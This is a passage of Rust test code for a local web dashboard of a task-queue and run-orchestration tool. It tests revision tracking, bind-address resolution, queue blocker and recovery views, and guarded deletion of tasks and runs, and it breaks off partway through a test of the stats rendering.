22222 let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22223 let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22227 let mut changes = ui.monitor.broadcaster.subscribe();
22228 let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22229 on_disk.turns.push(crate::talk::Turn {
22230 sender: None,
22231 breaks: Some(Vec::new()),
22232 messages: Vec::new(),
22233 posted_by: None,
22234 who: crate::talk::Who::Operator,
22235 body: "a new turn".to_owned(),
22236 at: Timestamp::now(),
22237 attachments: Vec::new(),
22238 usage: None,
22239 });
22240 ui.talks.put(&mut on_disk).expect("record a turn");
22241
22242 let after = tokio::time::timeout(Duration::from_secs(5), async {
22243 loop {
22244 let change = changes.recv().await.expect("monitor notification");
22245 let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22246 if revision != before {
22247 assert_eq!(
22248 change.payload["talks_delta"]["changed"],
22249 serde_json::json!([talk])
22250 );
22251 break revision;
22252 }
22253 }
22254 })
22255 .await
22256 .expect("shared monitor observes external turn");
22257 assert_ne!(
22258 before, after,
22259 "a phone must be able to notice a talk's reply without polling every store"
22260 );
22261 let Json(observed) = health(State(ui)).await.expect("health");
22262 assert_eq!(
22263 observed.talks_rev, after,
22264 "health exposes the same revision"
22265 );
22266 }
22267
22268 #[test]
22269 fn bind_reads_back_from_the_spelling_the_cli_prints() {
22270 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22274 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22275 }
22276 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22277 assert!("everywhere".parse::<Bind>().is_err());
22278 }
22279
22280 #[test]
22281 fn an_explicit_bind_address_is_taken_verbatim() {
22282 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22283
22284 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22285
22286 assert_eq!(addr, asked);
22287 assert!(
22288 warning.is_none(),
22289 "an operator who named an address gets no lecture"
22290 );
22291 }
22292
22293 #[test]
22294 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22295 let (addr, warning) = resolve_bind(&Bind::Auto);
22296
22297 match addr {
22304 IpAddr::V4(ip) if is_tailnet(&ip) => {
22305 assert!(warning.is_none(), "a tailnet address needs no warning");
22306 }
22307 other => {
22308 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22309 let warning = warning.expect("a fallback has to explain itself");
22310 assert!(
22311 warning.contains("127.0.0.1") && warning.contains("local-only"),
22312 "the warning says what happened and what it costs: {warning}"
22313 );
22314 }
22315 }
22316 }
22317
22318 #[test]
22319 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22320 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22324 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22325 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22326 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22327 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22328 }
22329
22330 #[test]
22331 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22332 let ids = vec![
22333 "20260902-140501-aaaa".to_owned(),
22334 "20260902-140502-aabb".to_owned(),
22335 ];
22336
22337 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22338 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22339 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22340
22341 assert_eq!(missing.status, StatusCode::NOT_FOUND);
22342 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22343 assert_eq!(short, "20260902-140502-aabb");
22344 }
22345 #[tokio::test]
22346 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22347 let fx = Fixture::start().await;
22353 let id = panel(
22354 &fx,
22355 "<img src=\"shot.png\">",
22356 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22357 );
22358
22359 let doc = fx
22361 .get(&format!("/api/questions/{id}/panel/index.html"))
22362 .await;
22363 assert_eq!(doc.status, 200, "{}", doc.body);
22364 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22365
22366 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22367 assert_eq!(sibling.status, 200, "{}", sibling.body);
22368 assert_eq!(sibling.header("content-type"), Some("image/png"));
22369 assert_eq!(
22370 sibling.header("content-security-policy"),
22371 Some(PANEL_CSP),
22372 "the sibling route must carry the same policy as the asset route"
22373 );
22374
22375 assert_eq!(
22378 fx.head(&format!("/api/questions/{id}/panel")).await.status,
22379 200
22380 );
22381 }
22382
22383 #[test]
22384 fn delta_stamps_cover_add_update_remove_and_noop() {
22385 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22386 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22387 let delta = diff_stamps(&before, &after, 42);
22388 assert_eq!(delta.base, 42);
22389 assert_eq!(delta.changed, ["b", "c"]);
22390 assert_eq!(delta.removed, ["a"]);
22391 let same = diff_stamps(&after, &after, 43);
22392 assert!(same.changed.is_empty() && same.removed.is_empty());
22393 assert_ne!(stamps_revision(&before), stamps_revision(&after));
22394 let nanos: Stamps = [("b".into(), (2, 20))].into();
22395 let same_ms: Stamps = [("b".into(), (3, 20))].into();
22396 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22397 assert_eq!(stamps_revision(&Stamps::new()), 0);
22398 }
22399
22400 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22401 std::fs::create_dir_all(home.join("runs")).unwrap();
22402 Arc::new(
22403 Ui::new(
22404 Queue::at(home.join("queue")),
22405 Questions::at(home.join("questions")),
22406 Talks::at(home.join("talks")),
22407 home.join("runs"),
22408 home.to_owned(),
22409 PathBuf::from("/repo/magi"),
22410 )
22411 .with_worktrees_root(home.join("wt")),
22412 )
22413 }
22414
22415 #[test]
22416 fn monitor_scan_isolates_store_failures_and_recovers() {
22417 let home = TempDir::new().unwrap();
22418 let ui = delta_test_ui(home.path());
22419 std::fs::create_dir_all(ui.questions.root()).unwrap();
22420 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22421 let before = monitor_scan(&ui, None);
22422 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22423 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22424 std::fs::create_dir_all(ui.talks.root()).unwrap();
22425 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22426 let during = monitor_scan(&ui, Some(before.clone()));
22427 assert_eq!(during.0.2, before.0.2);
22428 assert_ne!(during.0.3, before.0.3);
22429 assert!(during.1[2].contains_key("new"));
22430 std::fs::remove_file(ui.questions.root()).unwrap();
22431 let after = monitor_scan(&ui, Some(during));
22432 assert_eq!(after.0.2, 0);
22433 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22434 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22436 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22437 }
22438
22439 #[tokio::test]
22440 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22441 let home = TempDir::new().unwrap();
22442 let ui = delta_test_ui(home.path());
22443 let mut task = Task::new(
22444 "stream task".into(),
22445 "text".into(),
22446 PathBuf::from("/repo"),
22447 Source::Human,
22448 );
22449 ui.queue.put(&mut task).unwrap();
22450 let response = events(State(ui.clone())).await.into_response();
22451 let mut stream = response.into_body().into_data_stream();
22452 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22453 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22454 .await
22455 .unwrap()
22456 .unwrap()
22457 .unwrap();
22458 let text = String::from_utf8(chunk.to_vec()).unwrap();
22459 let data = text
22460 .lines()
22461 .find_map(|line| {
22462 line.strip_prefix("data: ")
22463 .or_else(|| line.strip_prefix("data:"))
22464 })
22465 .unwrap();
22466 serde_json::from_str(data).unwrap()
22467 }
22468 let initial = change(&mut stream).await;
22469 assert!(initial.get("queue_delta").is_none());
22470 task.instruction.push_str(" changed");
22471 ui.queue.put(&mut task).unwrap();
22472 let updated = change(&mut stream).await;
22473 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22474 assert_eq!(
22475 updated["queue_delta"]["changed"],
22476 serde_json::json!([task.id])
22477 );
22478 assert_eq!(
22479 updated["queue_rev"].as_u64(),
22480 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22481 );
22482 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22483 let removed = change(&mut stream).await;
22484 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22485 assert_eq!(
22486 removed["queue_delta"]["removed"],
22487 serde_json::json!([task.id])
22488 );
22489 }
22490
22491 #[tokio::test]
22492 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22493 let home = TempDir::new().unwrap();
22494 let ui = delta_test_ui(home.path());
22495 let queue = ui.queue.clone();
22496 let query = |ids: Option<&str>| {
22497 Query(ListQuery {
22498 limit: Some(2),
22499 ids: ids.map(str::to_owned),
22500 })
22501 };
22502 let mut root = Task::new(
22503 "root".into(),
22504 "instruction".into(),
22505 PathBuf::from("/repo"),
22506 Source::Human,
22507 );
22508 queue.put(&mut root).unwrap();
22509 let mut blocked = Task::new(
22510 "blocked".into(),
22511 "instruction".into(),
22512 PathBuf::from("/repo"),
22513 Source::Human,
22514 );
22515 blocked.block(vec![root.id.clone()], None);
22516 queue.put(&mut blocked).unwrap();
22517 let whole =
22518 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22519 .unwrap();
22520 let subset = serde_json::to_value(
22521 queue_list(State(ui.clone()), query(Some(&root.id)))
22522 .await
22523 .unwrap()
22524 .0,
22525 )
22526 .unwrap();
22527 assert_eq!(whole, subset, "requested root plus its blocked dependent");
22528 let blockers = serde_json::to_value(
22529 queue_list(State(ui.clone()), query(Some("")))
22530 .await
22531 .unwrap()
22532 .0,
22533 )
22534 .unwrap();
22535 assert_eq!(blockers.as_array().unwrap().len(), 1);
22536 assert_eq!(blockers[0]["id"], blocked.id);
22537 assert_eq!(
22538 blockers[0]["waits_on"],
22539 whole
22540 .as_array()
22541 .unwrap()
22542 .iter()
22543 .find(|row| row["id"] == blocked.id)
22544 .unwrap()["waits_on"]
22545 );
22546
22547 for id in [
22548 "20260902-140501-aaaa",
22549 "20260902-140502-bbbb",
22550 "20260902-140503-cccc",
22551 ] {
22552 write_run(&ui.runs, id, RunStatus::Merged);
22553 }
22554 let old = serde_json::to_value(
22555 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22556 .await
22557 .unwrap()
22558 .0,
22559 )
22560 .unwrap();
22561 assert!(
22562 old.as_array().unwrap().is_empty(),
22563 "older updates must not enter the window"
22564 );
22565 let newest = serde_json::to_value(
22566 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22567 .await
22568 .unwrap()
22569 .0,
22570 )
22571 .unwrap();
22572 assert_eq!(newest.as_array().unwrap().len(), 1);
22573 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22574
22575 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22576 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22577 let talks = serde_json::to_value(
22578 talks_list(
22579 State(ui.clone()),
22580 query(Some("20260905-000000-d4e5")),
22581 header::HeaderMap::new(),
22582 )
22583 .await
22584 .unwrap()
22585 .0,
22586 )
22587 .unwrap();
22588 assert_eq!(talks.as_array().unwrap().len(), 1);
22589 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22590 assert_eq!(
22591 serde_json::to_value(
22592 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22593 .await
22594 .unwrap()
22595 .0
22596 )
22597 .unwrap(),
22598 serde_json::json!([])
22599 );
22600 }
22601
22602 #[tokio::test]
22603 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22604 async fn delta_payload_benchmark() {
22605 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22606 let ui = delta_test_ui(&home);
22607 let query = |ids: Option<String>| {
22608 Query(ListQuery {
22609 limit: Some(50),
22610 ids,
22611 })
22612 };
22613 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22614 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22615 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22616 .await
22617 .unwrap()
22618 .0;
22619 let queue_id = queue
22620 .iter()
22621 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22622 .unwrap_or(&queue[0])
22623 .task
22624 .id
22625 .clone();
22626 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22627 .await
22628 .unwrap()
22629 .0;
22630 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22631 .await
22632 .unwrap()
22633 .0;
22634 let talks_delta = talks_list(
22635 State(ui.clone()),
22636 query(Some(talks[0].id.clone())),
22637 header::HeaderMap::new(),
22638 )
22639 .await
22640 .unwrap()
22641 .0;
22642 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22643 eprintln!(
22644 "DELTA_PAYLOAD {}",
22645 serde_json::json!({
22646 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22647 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22648 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22649 "counts": [queue.len(), runs.len(), talks.len()],
22650 "blocked": queue_delta.len() - 1,
22651 })
22652 );
22653 }
22654
22655 #[test]
22656 fn runs_revision_moves_when_deleting_an_older_run() {
22657 let temp = TempDir::new().expect("tempdir");
22658 let runs = temp.path().join("runs");
22659 std::fs::create_dir_all(&runs).expect("create runs dir");
22660
22661 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22662
22663 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22664 std::thread::sleep(Duration::from_millis(10));
22665 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22666
22667 let rev_before = runs_revision(&runs);
22668 assert!(rev_before > 0);
22669
22670 let old_dir = runs.join("20260901-100000-old1");
22671 std::fs::remove_dir_all(&old_dir).expect("remove old run");
22672
22673 let rev_after = runs_revision(&runs);
22674 assert_ne!(
22675 rev_before, rev_after,
22676 "deleting an older run must change the revision so other clients see the deletion"
22677 );
22678 }
22679
22680 fn write_state(runs: &FsPath, state: &RunState) {
22685 let dir = runs.join(&state.id);
22686 std::fs::create_dir_all(&dir).expect("run dir");
22687 std::fs::write(
22688 dir.join("run.json"),
22689 serde_json::to_string_pretty(state).expect("serialize run"),
22690 )
22691 .expect("write run.json");
22692 }
22693
22694 #[test]
22699 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22700 let temp = TempDir::new().expect("tempdir");
22701 let runs = temp.path().join("runs");
22702 std::fs::create_dir_all(&runs).expect("create runs dir");
22703 let mut state = RunState::new(
22704 PathBuf::from("/repo/magi"),
22705 "main".to_owned(),
22706 "0123456789abcdef".to_owned(),
22707 "task".to_owned(),
22708 Config::default(),
22709 );
22710 state.id = "20260902-100000-c0de".to_owned();
22711 write_state(&runs, &state);
22712
22713 let rev_idle = runs_revision(&runs);
22714 std::thread::sleep(Duration::from_millis(10));
22715 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22716 write_state(&runs, &state);
22717 let rev_started = runs_revision(&runs);
22718 assert_ne!(
22719 rev_idle, rev_started,
22720 "a seat starting must move the revision"
22721 );
22722
22723 std::thread::sleep(Duration::from_millis(10));
22724 state.seat_finished("judge-1");
22725 write_state(&runs, &state);
22726 let rev_finished = runs_revision(&runs);
22727 assert_ne!(
22728 rev_started, rev_finished,
22729 "and clearing it again must move the revision a second time"
22730 );
22731 }
22732
22733 #[tokio::test]
22734 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22735 let fx = Fixture::start().await;
22740 let q = fx.queue();
22741
22742 let mut t = Task::new(
22743 "Task".to_owned(),
22744 "Instruction".to_owned(),
22745 PathBuf::from("/repo"),
22746 Source::Human,
22747 );
22748 t.block(
22749 vec!["20260101-000000-dead".to_owned()],
22750 Some("waiting on Task 1".to_owned()),
22751 );
22752 t.answers.push(crate::queue::AnsweredQuestion {
22753 question: "Which backend?".to_owned(),
22754 answer: "SQLite".to_owned(),
22755 });
22756 q.put(&mut t).expect("put t");
22757
22758 let res = fx.get("/api/queue").await;
22759 assert_eq!(res.status, 200);
22760 let list = res.json();
22761 let view = list
22762 .as_array()
22763 .expect("array")
22764 .iter()
22765 .find(|v| v["id"] == t.id)
22766 .expect("task in list");
22767 assert_eq!(view["status_str"], "blocked");
22768 assert_eq!(
22769 view["blocked_by"],
22770 serde_json::json!(["20260101-000000-dead"])
22771 );
22772 assert_eq!(view["block_reason"], "waiting on Task 1");
22773 assert_eq!(view["answers"][0]["question"], "Which backend?");
22774 assert_eq!(view["answers"][0]["answer"], "SQLite");
22775
22776 let res = fx
22780 .post(&format!("/api/queue/{}/hold", t.short()), None)
22781 .await;
22782 assert_eq!(res.status, 200);
22783 let held = res.json();
22784 assert_eq!(held["status_str"], "held");
22785 assert_eq!(held["blocked_by"], serde_json::json!([]));
22786 assert!(held["block_reason"].is_null());
22787 assert_eq!(held["answers"][0]["answer"], "SQLite");
22788 }
22789
22790 #[tokio::test]
22791 async fn task_recovery_pending_decisions_block_disk_autoresume() {
22792 let fx = Fixture::start().await;
22793 let queue = fx.queue();
22794 let questions = fx.questions();
22795 let mut task = Task::new(
22796 "Disk recovery".into(),
22797 "Inspect".into(),
22798 PathBuf::from("/repo"),
22799 Source::Human,
22800 );
22801 task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22802 task.mark_disk_capacity();
22803 queue.put(&mut task).unwrap();
22804 let mut records = Vec::new();
22805 for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22806 let mut q = Question::new(
22807 task.id.clone(),
22808 node.into(),
22809 "triage".into(),
22810 "Resume recovery?".into(),
22811 String::new(),
22812 vec![],
22813 );
22814 q.routed_task = Some(task.id.clone());
22815 questions.put(&mut q).unwrap();
22816 records.push(q);
22817 }
22818 let url = format!("/api/queue/{}", task.id);
22819 let view = fx.get(&url).await.json();
22820 assert_eq!(view["status_str"], "held");
22821 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22822 assert!(
22823 view["recovery"]
22824 .as_str()
22825 .unwrap()
22826 .contains("Disk recovery alone will not resume")
22827 );
22828 assert!(
22829 view["recovery"]
22830 .as_str()
22831 .unwrap()
22832 .contains("Disk wait (automatically monitored)")
22833 );
22834 for blocker in view["blockers"].as_array().unwrap() {
22835 assert!(blocker["destination"].is_null());
22836 assert!(
22837 blocker["next"]
22838 .as_str()
22839 .unwrap()
22840 .contains("pending delivery")
22841 );
22842 }
22843 for q in &mut records {
22844 q.routed_chat = Some("owning-chat".into());
22845 questions.put(q).unwrap();
22846 }
22847 let view = fx.get(&url).await.json();
22848 for blocker in view["blockers"].as_array().unwrap() {
22849 assert_eq!(
22850 blocker["destination"],
22851 serde_json::json!(["chat", "owning-chat"])
22852 );
22853 assert_eq!(blocker["resolves_itself"], false);
22854 }
22855 for q in &mut records {
22857 q.status = ask::QuestionStatus::Answered;
22858 questions.put(q).unwrap();
22859 }
22860 assert!(crate::triage::pending_for(&questions, &task));
22861 let view = fx.get(&url).await.json();
22862 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22863 assert!(
22864 view["blockers"][0]["next"]
22865 .as_str()
22866 .unwrap()
22867 .contains("not yet applied")
22868 );
22869 for q in &records {
22870 task.mark_triage_applied(&q.id);
22871 }
22872 queue.put(&mut task).unwrap();
22873 assert!(!crate::triage::pending_for(&questions, &task));
22874 assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22875 assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22876 }
22877
22878 #[test]
22879 fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22880 use crate::queue::HoldSource;
22881 let mut task = Task::new(
22882 "Recovery".into(),
22883 "Inspect".into(),
22884 PathBuf::from("/repo"),
22885 Source::Human,
22886 );
22887 assert!(task_recovery(&task).is_none());
22888 task.hold_manual(Some("Operator paused".into()));
22889 assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22890 task.block(vec!["dependency".into()], Some("Decision needed".into()));
22891 let text = task_recovery(&task).unwrap();
22892 assert!(text.contains("restores held"));
22893 assert!(text.contains("clears its dependency references"));
22894 task.hold_source = Some(HoldSource::Machine);
22895 task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22896 task.mark_disk_capacity();
22897 let view = TaskView::with_inventory(
22898 task.clone(),
22899 &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22900 );
22901 let json = serde_json::to_value(view).unwrap();
22902 assert_eq!(json["block_reason"], "Decision needed");
22903 assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22904 let recovery = json["recovery"].as_str().unwrap();
22905 assert!(recovery.contains("not current capacity"));
22906 assert!(recovery.contains("triage rechecks"));
22907 assert_eq!(json["blockers"][0]["state"], "missing");
22908 task.blocked_from = Some(TaskStatus::Queued);
22909 assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22910 task.blocked_from = None;
22911 assert!(task_recovery(&task).unwrap().contains("restores held"));
22912 }
22913
22914 #[tokio::test]
22915 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22916 let fx = Fixture::start().await;
22917 let q = fx.queue();
22918 let mk = |title: &str| {
22919 Task::new(
22920 title.to_owned(),
22921 "Instruction".to_owned(),
22922 PathBuf::from("/repo"),
22923 Source::Human,
22924 )
22925 };
22926 let mut root = mk("root");
22927 root.hold_manual(Some("waiting".to_owned()));
22928 q.put(&mut root).unwrap();
22929 let mut mid = mk("mid");
22930 mid.block(vec![root.id.clone()], None);
22931 q.put(&mut mid).unwrap();
22932 let mut leaf = mk("leaf");
22933 leaf.block(vec![mid.id.clone()], None);
22934 q.put(&mut leaf).unwrap();
22935
22936 let list = fx.get("/api/queue").await.json();
22937 let find = |id: &str| {
22938 list.as_array()
22939 .unwrap()
22940 .iter()
22941 .find(|v| v["id"] == id)
22942 .unwrap()
22943 .clone()
22944 };
22945 let leaf_view = find(&leaf.id);
22946 assert_eq!(
22947 leaf_view["waits_on"],
22948 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22949 );
22950 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22951 assert_eq!(
22952 find(&mid.id)["waits_on"],
22953 serde_json::json!([format!("{} (held)", root.short())])
22954 );
22955 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22956 }
22957
22958 #[tokio::test]
22959 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22960 let fx = Fixture::start().await;
22961 let q = fx.queue();
22962
22963 let mut t1 = Task::new(
22965 "Task 1".to_owned(),
22966 "Instruction 1".to_owned(),
22967 PathBuf::from("/repo"),
22968 Source::Human,
22969 );
22970 let run_id = "20260901-000000-r111";
22971 t1.runs.push(run_id.to_owned());
22972 write_run(&fx.runs(), run_id, RunStatus::Merged);
22973 q.put(&mut t1).expect("put t1");
22974
22975 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22977 assert_eq!(res.status, 204);
22978 assert!(res.body.is_empty(), "204 No Content has no body");
22979 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22980 assert!(
22981 fx.runs().join(run_id).exists(),
22982 "run directory must not be deleted when its task is deleted"
22983 );
22984
22985 let mut t2 = Task::new(
22987 "Task 2".to_owned(),
22988 "Instruction 2".to_owned(),
22989 PathBuf::from("/repo"),
22990 Source::Human,
22991 );
22992 t2.status = TaskStatus::Running;
22993 q.put(&mut t2).expect("put t2");
22994 let mut beat = crate::daemon::Status::new();
22995 beat.current = vec![crate::daemon::Current {
22996 worker: None,
22997 task: t2.id.clone(),
22998 run: "20260901-000000-r222".to_owned(),
22999 }];
23000 beat.updated_at = jiff::Timestamp::now();
23001 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23002 .expect("publish a heartbeat");
23003 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23004 assert_eq!(res.status, 409);
23005 assert!(
23006 res.json()["error"]
23007 .as_str()
23008 .unwrap()
23009 .contains("live daemon")
23010 );
23011 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23012
23013 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23019 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23020 .expect("leave a stale heartbeat");
23021 let mut t3 = Task::new(
23022 "Task 3".to_owned(),
23023 "Instruction 3".to_owned(),
23024 PathBuf::from("/repo"),
23025 Source::Human,
23026 );
23027 t3.status = TaskStatus::Running;
23028 q.put(&mut t3).expect("put t3");
23029 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23030 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23031 assert_eq!(res.status, 204);
23032 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23033 assert!(
23034 q.claim(&t3.id).is_ok(),
23035 "the stale lock went with it, so the id is claimable again"
23036 );
23037
23038 let res = fx.delete("/api/queue/nonexistent").await;
23040 assert_eq!(res.status, 404);
23041 }
23042
23043 #[tokio::test]
23044 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23045 let fx = Fixture::start().await;
23046 let runs = fx.runs();
23047
23048 let run_id = "20260901-000000-fold";
23050 let mut state = RunState::new(
23051 PathBuf::from("/repo"),
23052 "main".to_owned(),
23053 "abc".to_owned(),
23054 "instruction".to_owned(),
23055 Config::default(),
23056 );
23057 state.id = run_id.to_owned();
23058 state.status = RunStatus::Merged;
23059 state.candidates.push(crate::run::Candidate {
23060 index: 0,
23061 label: 'A',
23062 agent: "a".to_owned(),
23063 branch: "b".to_owned(),
23064 worktree: PathBuf::from("/w"),
23065 summary: String::new(),
23066 stat: String::new(),
23067 files: 1,
23068 commits: 1,
23069 empty: false,
23070 failed: None,
23071 verified_noop: None,
23072 duration_ms: 0,
23073 folded: true,
23074 });
23075 let dir = runs.join(run_id);
23076 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23077 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23078 .expect("write artifact");
23079 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23080 .expect("write run.json");
23081
23082 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23084 assert_eq!(res.status, 204);
23085 assert!(res.body.is_empty(), "204 has no body");
23086 assert!(!dir.exists(), "run directory and artifacts must be deleted");
23087
23088 let run_running = "20260901-000000-rung";
23093 write_run(&runs, run_running, RunStatus::Prep);
23094 let mut beat = crate::daemon::Status::new();
23095 beat.current = vec![crate::daemon::Current {
23096 worker: None,
23097 task: "20260901-000000-task".to_owned(),
23098 run: run_running.to_owned(),
23099 }];
23100 beat.updated_at = jiff::Timestamp::now();
23101 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23102 .expect("publish a heartbeat");
23103 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23104 assert_eq!(res.status, 409);
23105 assert!(
23106 res.json()["error"]
23107 .as_str()
23108 .unwrap()
23109 .contains("live daemon"),
23110 "the refusal must say who is holding it"
23111 );
23112 assert!(
23113 runs.join(run_running).exists(),
23114 "a run in flight keeps its directory"
23115 );
23116
23117 let run_unfolded = "20260901-000000-unfd";
23119 let mut state2 = RunState::new(
23120 PathBuf::from("/repo"),
23121 "main".to_owned(),
23122 "abc".to_owned(),
23123 "instruction".to_owned(),
23124 Config::default(),
23125 );
23126 state2.id = run_unfolded.to_owned();
23127 state2.status = RunStatus::Ready;
23128 state2.candidates.push(crate::run::Candidate {
23129 index: 0,
23130 label: 'A',
23131 agent: "a".to_owned(),
23132 branch: "b".to_owned(),
23133 worktree: PathBuf::from("/w"),
23134 summary: String::new(),
23135 stat: String::new(),
23136 files: 1,
23137 commits: 1,
23138 empty: false,
23139 failed: None,
23140 verified_noop: None,
23141 duration_ms: 0,
23142 folded: false,
23143 });
23144 let dir2 = runs.join(run_unfolded);
23145 std::fs::create_dir_all(&dir2).expect("create dir2");
23146 std::fs::write(
23147 dir2.join("run.json"),
23148 serde_json::to_string(&state2).unwrap(),
23149 )
23150 .expect("write run.json");
23151
23152 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23153 assert_eq!(res.status, 409);
23154 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23155 assert!(dir2.exists(), "unfolded run directory is kept");
23156
23157 let res = fx.delete("/api/runs/nonexistent").await;
23159 assert_eq!(res.status, 404);
23160 }
23161
23162 #[test]
23171 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23172 let start = APP_JS
23173 .find("function renderStats() {")
23174 .expect("renderStats");
23175 let end = start
23176 + APP_JS[start..]
23177 .find("function statsTile(")
23178 .expect("the next top-level function");
23179 let body = &APP_JS[start..end];
23180
23181 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23182 let gate_end = gate_start
23183 + body[gate_start..]
23184 .find("}\n renderStatsQueue")
23185 .expect("the gate's own closing brace, right before the unconditional call");
23186 let gated = &body[gate_start..gate_end];
